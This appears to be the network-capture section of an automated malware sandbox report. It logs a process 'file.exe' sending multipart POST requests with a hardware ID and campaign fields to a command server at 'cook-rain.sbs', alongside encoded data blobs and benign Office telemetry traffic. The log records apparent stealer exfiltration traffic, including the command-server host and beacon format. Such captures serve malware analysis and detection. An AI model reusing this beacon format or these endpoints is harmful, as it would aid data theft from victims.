2024-11-18 01:34:11 UTC	1369	IN	Data Raw: 2f 2b 36 59 68 69 4e 4c 56 7a 77 72 44 55 36 4b 70 49 6e 7a 50 37 71 7a 65 38 79 47 70 6b 36 64 79 6d 4d 54 41 33 32 4e 70 4c 79 69 32 76 32 57 4c 32 5a 43 55 52 73 52 61 70 4b 59 73 63 38 58 69 70 5a 53 34 59 61 57 49 36 43 37 65 34 64 54 63 5a 47 31 75 4d 66 32 73 4c 6f 72 59 30 38 6f 41 69 42 72 68 6f 54 34 31 6d 61 65 44 68 62 42 74 71 63 76 34 5a 4d 47 6c 33 4e 41 76 50 43 38 38 39 4b 49 69 6a 4e 6a 54 78 41 50 4d 58 71 53 6d 4c 6d 66 4a 35 36 53 4d 72 32 47 6e 6a 75 73 70 32 4f 48 64 31 57 6c 6e 61 33 65 32 35 69 4b 55 6c 59 69 4d 4b 38 52 54 69 4b 45 39 4e 64 36 70 75 74 36 36 62 65 37 54 70 79 76 54 37 39 54 52 62 47 4a 73 50 50 32 73 4a 49 76 64 33 64 34 46 78 31 75 6c 70 69 6c 7a 78 2b 61 73 6d 4c 70 6f 72 34 50 67 61 70 61 6c 33 4d 51 76 50 43 Data Ascii: /+6YhiNLVzwrDU6KpInzP7qze8yGpk6dymMTA32NpLyi2v2WL2ZCURsRapKYsc8XipZS4YaWI6C7e4dTcZG1uMf2sLorY08oAiBrhoT41maeDhbBtqcv4ZMGl3NAvPC889KIijNjTxAPMXqSmLmfJ56SMr2Gnjusp2OHd1Wlna3e25iKUlYiMK8RTiKE9Nd6put66be7TpyvT79TRbGJsPP2sJIvd3d4Fx1ulpilzx+asmLpor4Pgapal3MQvPC
2024-11-18 01:34:11 UTC	1369	IN	Data Raw: 4b 73 79 62 6b 4d 4e 47 6b 47 33 68 72 79 46 75 30 50 47 75 6a 72 6f 68 6b 63 57 6e 4d 70 69 39 6d 2b 6c 73 61 6d 45 77 37 72 64 6f 71 38 50 61 79 78 62 50 51 36 37 6d 61 44 58 48 70 2f 76 4e 38 79 47 71 6d 71 64 79 69 4c 65 41 69 54 77 7a 50 32 58 6e 36 44 7a 4d 77 35 43 55 56 49 59 55 73 2b 5a 2b 4e 59 62 6b 73 59 79 37 59 72 69 49 6f 42 54 6d 77 73 48 52 61 58 4e 2b 43 63 61 68 50 34 48 54 78 39 31 4b 33 56 65 76 71 43 46 6a 67 61 6e 6a 6b 66 30 35 6c 38 75 76 61 75 65 72 6d 38 51 76 50 43 38 43 2b 36 67 72 69 38 50 42 67 53 48 53 57 61 65 78 4e 7a 57 50 70 36 58 65 35 54 48 67 79 2b 4d 37 6d 4c 32 4c 6a 6a 51 78 50 47 43 6f 39 44 72 43 7a 4a 44 61 52 70 41 47 37 2b 59 30 4e 5a 6d 6e 35 4a 32 76 63 36 69 49 38 53 6d 66 32 2b 58 79 61 47 4a 71 4d 4f 6a Data Ascii: KsybkMNGkG3hryFu0PGujrohkcWnMpi9m+lsamEw7rdoq8PayxbPQ67maDXHp/vN8yGqmqdyiLeAiTwzP2Xn6DzMw5CUVIYUs+Z+NYbksYy7YriIoBTmwsHRaXN+CcahP4HTx91K3VevqCFjganjkf05l8uvauerm8QvPC8C+6gri8PBgSHSWaexNzWPp6Xe5THgy+M7mL2LjjQxPGCo9DrCzJDaRpAG7+Y0NZmn5J2vc6iI8Smf2+XyaGJqMOj
2024-11-18 01:34:11 UTC	1369	IN	Data Raw: 4a 33 72 43 4d 39 56 74 37 59 78 65 6f 47 70 34 35 6a 39 4f 66 7a 46 70 79 37 4a 70 59 4f 4d 50 54 38 36 5a 4b 2f 32 64 35 4f 62 79 59 77 51 69 41 7a 7a 36 47 5a 6e 67 62 2f 6a 32 62 35 7a 76 49 33 6b 50 4e 75 69 35 65 4a 49 61 6d 67 32 37 72 59 79 67 35 72 2b 2b 69 66 32 61 72 53 6c 4b 48 76 47 38 62 4c 65 38 79 47 68 79 37 38 54 6d 4b 32 62 34 79 45 6b 64 33 65 67 35 68 43 50 32 39 37 4c 45 4e 6b 5a 68 71 67 68 64 4e 66 33 74 4a 48 79 54 35 69 71 70 32 53 59 34 35 75 45 50 53 6f 76 4d 2b 6e 6d 66 64 79 48 69 35 6c 56 6e 77 54 7a 75 57 68 73 67 66 48 6a 78 75 38 76 37 70 6d 6e 63 70 69 69 32 4d 35 39 59 6d 77 68 2b 2b 45 62 73 76 4c 65 79 77 66 65 52 4b 79 71 42 33 62 51 37 5a 32 67 71 47 4b 67 68 65 41 38 79 61 57 56 6e 47 41 6b 4e 77 36 34 37 6d 57 7a Data Ascii: J3rCM9Vt7YxeoGp45j9OfzFpy7JpYOMPT86ZK/2d5ObyYwQiAzz6GZngb/j2b5zvI3kPNui5eJIamg27rYyg5r++if2arSlKHvG8bLe8yGhy78TmK2b4yEkd3eg5hCP297LENkZhqghdNf3tJHyT5iqp2SY45uEPSovM+nmfdyHi5lVnwTzuWhsgfHjxu8v7pmncpii2M59Ymwh++EbsvLeywfeRKyqB3bQ7Z2gqGKgheA8yaWVnGAkNw647mWz
2024-11-18 01:34:11 UTC	1369	IN	Data Raw: 76 61 55 37 47 6c 5a 46 6e 47 36 71 2b 67 67 31 61 2f 6a 50 64 6f 2f 75 62 4e 33 79 38 71 4c 79 2b 34 2f 6d 57 68 78 39 66 63 42 59 70 34 70 71 73 71 4e 64 36 70 75 74 36 72 49 66 62 59 71 57 72 4b 70 59 4f 63 4b 47 64 39 4a 66 36 6c 4d 34 2b 53 37 76 49 72 32 6c 4f 78 70 57 52 45 7a 4f 4f 31 69 37 35 78 71 62 58 5a 42 38 72 69 79 39 38 74 51 56 56 31 79 62 41 6d 6a 4e 76 58 6a 45 69 49 54 4f 48 2b 5a 6c 6a 54 34 4c 4f 64 2f 30 53 55 79 64 59 38 32 2b 58 56 32 79 39 37 49 53 36 34 73 47 58 55 68 70 36 4d 46 49 67 4d 34 65 45 6f 65 4d 44 6b 72 5a 32 76 63 36 69 49 38 53 6d 66 32 2b 58 7a 5a 47 56 2f 4f 75 6d 72 49 5a 72 72 37 75 73 41 7a 56 4f 66 6d 42 46 6b 78 76 66 68 75 4c 35 33 72 63 75 70 61 73 43 6c 67 35 78 49 59 6d 6f 77 75 4f 68 6c 69 4a 57 49 6a Data Ascii: vaU7GlZFnG6q+gg1a/jPdo/ubN3y8qLy+4/mWhx9fcBYp4pqsqNd6put6rIfbYqWrKpYOcKGd9Jf6lM4+S7vIr2lOxpWREzOO1i75xqbXZB8riy98tQVV1ybAmjNvXjEiITOH+ZljT4LOd/0SUydY82+XV2y97IS64sGXUhp6MFIgM4eEoeMDkrZ2vc6iI8Smf2+XzZGV/OumrIZrr7usAzVOfmBFkxvfhuL53rcupasClg5xIYmowuOhliJWIj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49712	188.114.97.3	443	1112	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:12 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=J2IANDIVJYJ9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12829 Host: cook-rain.sbs
2024-11-18 01:34:12 UTC	12829	OUT	Data Raw: 2d 2d 4a 32 49 41 4e 44 49 56 4a 59 4a 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 34 33 44 31 31 43 37 41 34 38 46 36 33 34 41 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 4a 32 49 41 4e 44 49 56 4a 59 4a 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4a 32 49 41 4e 44 49 56 4a 59 4a 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4a 32 49 41 4e 44 49 56 Data Ascii: --J2IANDIVJYJ9Content-Disposition: form-data; name="hwid"643D11C7A48F634AF7005D7B20127A88--J2IANDIVJYJ9Content-Disposition: form-data; name="pid"2--J2IANDIVJYJ9Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--J2IANDIV
2024-11-18 01:34:13 UTC	1005	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4b0scvb7lon6ekpcekitq8gsfi; expires=Thu, 13-Mar-2025 19:20:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HgXu9UqR0k4lybEshbkuSzmUyoh7P%2FpPp92ulAGsMbJSvptQfXKkzUqI4fuCkUQ%2Fe0eodCAVHlmR2Depd7WQK4Ci4yCo6lkMaQZgvy8ct4BHbDff2gCKpIYN%2BcfWInT7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4437813e2fe749-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18862&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2829&recv_bytes=13760&delivery_rate=153438&cwnd=32&unsent_bytes=0&cid=f368570fe52ea1d8&ts=954&x=0"
2024-11-18 01:34:13 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 01:34:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49713	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:14 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:14 UTC	492	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:14 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 16 Nov 2024 09:12:53 GMT ETag: "0x8DD061EDA65C651" x-ms-request-id: 1f2ca79a-801e-0015-0d8f-38f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013414Z-16547b76f7f2b5qzhC1DFWeag400000003bg000000007eve x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:14 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-18 01:34:14 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-18 01:34:14 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-18 01:34:14 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-18 01:34:14 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-18 01:34:14 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-18 01:34:14 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-18 01:34:14 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-18 01:34:14 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-18 01:34:14 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49714	188.114.97.3	443	1112	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:14 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MLQQ0DJPCL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15063 Host: cook-rain.sbs
2024-11-18 01:34:14 UTC	15063	OUT	Data Raw: 2d 2d 4d 4c 51 51 30 44 4a 50 43 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 34 33 44 31 31 43 37 41 34 38 46 36 33 34 41 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 4d 4c 51 51 30 44 4a 50 43 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 4c 51 51 30 44 4a 50 43 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4d 4c 51 51 30 44 4a 50 43 4c 0d 0a 43 6f Data Ascii: --MLQQ0DJPCLContent-Disposition: form-data; name="hwid"643D11C7A48F634AF7005D7B20127A88--MLQQ0DJPCLContent-Disposition: form-data; name="pid"2--MLQQ0DJPCLContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--MLQQ0DJPCLCo
2024-11-18 01:34:15 UTC	1005	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5rvpm7tvfq6vhncffslg6jioul; expires=Thu, 13-Mar-2025 19:20:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bo3BPucvDvWpl5Q2G5j3vh0jRYsT89Ma9UfzblmZxIrQ69eugDwZGvfL7D%2BI8z%2F7QsFJNYYeHBhWtuWqQsgVj9oDTt7xYimxdiUb0LUrAtyYtnOSrZG5kWITB4MVczHJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e44378bbaba7b22-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19060&sent=9&recv=21&lost=0&retrans=0&sent_bytes=2829&recv_bytes=15992&delivery_rate=152413&cwnd=32&unsent_bytes=0&cid=fffdaa2a0757f872&ts=783&x=0"
2024-11-18 01:34:15 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
